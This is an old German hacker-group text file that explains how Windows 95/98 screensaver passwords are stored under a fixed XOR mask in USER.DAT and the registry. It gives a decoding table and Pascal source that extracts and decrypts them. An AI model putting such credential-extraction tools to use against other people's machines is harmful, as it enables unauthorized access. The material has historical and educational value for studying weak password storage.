XOR Windows95/98 ScreenSaver Passwortverschlüsselung
______/\____ _/\__ ___ H a c k e r's D i g i t a l C r i m e
\ ___\___ \/ \ \_/ / http://www.h-d-c.org www.rootaccess.de
/ / __ _/ / \ / cray@h-d-c.org cray@rootaccess.de
/ /_/ / ___/ /__\ \ \
\____/\____/__/ \__\__\
XOR Maske 48 EE 76 1D 67 69 A1 1B 7A 8C 47 F8 54 95 97 57
1.) Schaue dir doch mal die C:\Windows\User.dat an wenn man mehrere user
hat sollte man im \profiles\username nachschauen 2.) Die maximale leange
von einem ScreenSaverPasswort ist 14 zeichen lang wenn dein Passwort
länger als 14 zeichen lang sein sollte kürzt windows es ab. Sicher dir
voher noch die user.dat! Starte Bildschirm Option und setze mal ein
ScreenSaverPw so zum Beispiel: RDPZZA so abspeichern.
3.) ™ffne jetzt die datei (user.dat)und suche nach "ScreenSave_Data" so
alles was nach dem "ScreenSave_Data" bis zu einem HEX 00 ist dein
Passwort (00) ist das Ende des Passwortes die ersten zeichen sind in
unserem beispiel: 1AAA26473D28 so jetzt muss der code erstmal in HEX
umgerechnet werden wobei jedes einzelne zeichen umgerechnet wird! das
würde dann so aussehen:
code ->> 1 A A A 2 6 4 7 3 D 2 8
Hex ->> 31 41 41 41 32 36 34 37 33 44 32 38
so jetzt müssen immer 2 hexadecimal zahlen zusammen gezogen werden das
würde dann so aussehen:
Stelle: 1. 2. 3. 4. 5. 6.
doppelHex ->> 3141 4141 3236 3437 3344 3238
die stelle ist die spalte in der HEX liste unten man sucht jetzt zB. die
3141 in spalte 1 und schaut was es für ein buchstabe ist wäre dann in
dem fall ein R so dann sucht man das 2 zeichen 4141 in der 2. Spalte und
immer so weiter ;)
4.) Starte doch mal C:\Windows\Regedit.exe und und suche dann wieder
"ScreenSave_Data" ok gefunden so dann viel spass ;) alles was man dazu
braucht findet ihr hier im text ich wollte euch ja auch noch etwas
arbeiten lassen hehe (andere m”glichkeit an das PW zu kommen)
+----------------------------------------------------------------------------+
| |1 |2 |3 |4 |5 |6 |7 |8 |9 |10 |11 |12 |13 |14 |15 |
|A|3039|4146|3337|3543|3236|3238|4530|3541|3342|4344|3036|4239|3135|4434|4436|
|B|3041|4143|3334|3546|3235|3242|4533|3539|3338|4345|3035|4241|3136|4437|4435|
|C|3042|4144|3335|3545|3234|3241|4532|3538|3339|4346|3034|4242|3137|4436|4434|
|D|3043|4141|3332|3539|3233|3244|4535|3546|3345|4338|3033|4243|3130|4431|4433|
|E|3044|4142|3333|3538|3232|3243|4534|3545|3346|4339|3032|4244|3131|4430|4432|
|F|3045|4138|3330|3542|3231|3246|4537|3544|3343|4341|3031|4145|3135|4433|4431|
|G|3046|4139|3331|3541|3230|3245|4536|3543|3344|4342|3030|4246|3133|4432|4430|
|H|3030|4136|3345|3535|3246|3231|4539|3533|3332|4334|3046|4230|3143|4444|4446|
|I|3031|4137|3346|3534|3245|3230|4538|3532|3333|4335|3045|4231|3144|4443|4445|
|J|3032|4134|3343|3537|3244|3233|4542|3531|3330|4336|3044|4232|3145|4446|4444|
|K|3033|4135|3344|3536|3243|3232|4541|3530|3331|4337|3043|4233|3146|4445|4443|
|L|3034|4132|3341|3531|3242|3235|4544|3537|3336|4330|3042|4234|3138|4439|4442|
|M|3035|4133|3342|3530|3241|3234|4543|3536|3337|4331|3041|4235|3139|4438|4441|
|N|3036|4130|3338|3533|3239|3237|4546|3535|3334|4332|3039|4236|3141|4442|4439|
|O|3037|4131|3339|3532|3238|3236|4545|3534|3335|4333|3038|4237|3142|4441|4438|
|P|3138|4245|3236|3444|3337|3339|4631|3442|3241|4443|3137|4138|3034|4335|4337|
|Q|3139|4246|3237|3443|3336|3338|4630|3441|3242|4444|3136|4139|3035|4334|4336|
|R|3141|4243|3234|3446|3335|3342|4633|3439|3238|4445|3135|4141|3036|4337|4335|
|S|3142|4244|3235|3445|3334|3341|4632|3438|3239|4446|3134|4142|3037|4336|4334|
|T|3143|4241|3232|3439|3333|3344|4635|3446|3245|4438|3133|4143|3030|4331|4333|
|U|3144|4242|3233|3438|3332|3343|4634|3445|3246|4439|3132|4144|3031|4330|4332|
|V|3145|4238|3230|3442|3331|3346|4637|3444|3243|4441|3131|4145|3032|4333|4331|
|W|3146|4239|3231|3441|3330|3345|4636|3443|3244|4442|3130|4146|3033|4332|4330|
|X|3130|4236|3245|3435|3346|3331|4639|3433|3232|4434|3146|4130|3043|4344|4346|
|Y|3131|4237|3246|3434|3345|3330|4638|3432|3233|4435|3145|4131|3044|4343|4345|
|Z|3132|4234|3243|3437|3344|3333|4642|3431|3230|4436|3144|4132|3045|4346|4344|
|Æ|3845|3238|4230|4442|4131|4146|3637|4444|4243|3441|3831|3345|3932|3533|3531|
|Ø|3930|3336|4145|4335|4246|4231|3739|4333|4132|3534|3946|3230|3843|3444|3446|
|Å|3844|3242|4233|4438|4132|4143|3634|4445|4246|3439|3832|3344|3931|3530|3532|
|0|3738|4445|3436|3244|3537|3539|3931|3242|3441|4243|3737|4338|3634|4135|4137|
|1|3739|4446|3437|3243|3536|3538|3930|3241|3442|4244|3736|4339|3635|4134|4136|
|2|3741|4443|3434|3246|3535|3542|3933|3239|3438|4245|3735|4341|3636|4137|4135|
|3|3742|4444|3435|3245|3534|3541|3932|3238|3439|4246|3734|4342|3637|4136|4134|
|4|3743|4441|3432|3239|3533|3544|3935|3246|3445|4238|3733|4343|3630|4131|4133|
|5|3744|4442|3433|3238|3532|3543|3934|3245|3446|4239|3732|4344|3631|4130|4132|
|6|3745|4438|3430|3242|3531|3546|3937|3244|3443|4241|3731|4345|3632|4133|4131|
|7|3746|4439|3431|3241|3530|3545|3936|3243|3444|4242|3730|4346|3633|4132|4130|
|8|3730|4437|3445|3235|3546|3531|3939|3233|3432|4234|3746|4330|3643|4144|4146|
|9|3731|4437|3446|3234|3545|3530|3938|3232|3433|4235|3745|4331|3644|4143|4145|
+----------------------------------------------------------------------------+
So jetzt kommen wir zum SourceCode ;)
-----Code-Snipped-----
Program Hol_Das_ScrSavePW{!};
USES crt,dos;
CONST SearchStr:String[40] = 'ScreenSave_Data';
FileName:String='C:\WINDOWS\USER.DAT';
ChiffreKey:String[16]=#$48#$EE#$76#$1D#$67#$69#$A1#$1B#$7A#$8C#$47#$F8#$54#$95#$97#$57;
VAR F : File;
Function FindStrInFile(var f:File; s:String):Longint;
CONST BufSize=65000;
VAR Buf : Pointer;
Ctrl : Word;
BufSeek : LongInt;
SeekPos : Longint;
Found : Boolean;
Level : Byte;
Data : Byte;
BEGIN
GetMem(Buf,BufSize);
SeekPos:=FilePos(f);
BufSeek:=BufSize;
ctrl:=BufSize;
Found:=False;
level:=0;
While Not Found DO BEGIN
Inc(bufseek);
if eof(f) and (bufseek>ctrl) then break; { EOF erreicht }
if bufseek>bufsize then begin { Falls im membuffer durchsucht, nächsten holen }
BlockRead(F,buf^,bufsize,ctrl);
bufseek:=0;
end;
Data:=mem[Seg(Buf^):Ofs(Buf^)+bufseek];
if Char(data)=s[level+1] then begin
level:=level+1;
if level=length(s) then found:=true;
end else level:=0;
END;
if found then FindStrInFile:=FilePos(f)-bufsize+bufseek
else FindStrInFile:=-1;
FreeMem(Buf,BufSize);
END;
Function FileReadCStr(var f:File):String;
var s:String;
l:Word;
d:Char;
ctrl:word;
begin
l:=0;
s:='';
while not eof(f) and (l<254) do begin
BlockRead(f,d,1,ctrl);
if d=#0 then break;
s:=s+d;
inc(l);
end;
FilereadcStr:=s;
end;
Function NHex2Int(c:char):Byte;
BEGIN
NHex2int:=0;
c:=Upcase(C);
if c in ['0'..'9'] then NHex2Int:=Byte(c)-48;
if c in ['A'..'F'] then NHex2Int:=Byte(c)-55;
END;
VAR Attribut : Word;
s,s2 : String;
passwort : String;
pos : longint;
i:Word;
BEGIN
WriteLn('----- ScreenSaver HDC cleaner/cray -----');
filemode:=0;
FileName:=ParamStr(1);
if fsearch(filename,'')='' then error('Datei nicht gefunden');
assign(f,FileName);
reset(f,1);
Writeln('Suche...');
pos:=FindStrInFile(f,SearchStr);
if pos=-1 then error('DataKey nicht gefunden!');
WriteLn('Data Position:',pos);
Seek(f,pos+1);
s:=FileReadCStr(f); { Gesuchten Str einlesen }
Writeln('ChiffreText:'+S);
passwort:='';
for i:=1 to length(s) div 2 do begin
passwort:=passwort+Char((NHex2Int(s[i*2-1])*16+NHex2Int(s[i*2])) xor Byte(ChiffreKey[i]));
end;
WriteLn('Decodiert :'+Passwort);
close(f);
END.
...[EOF]...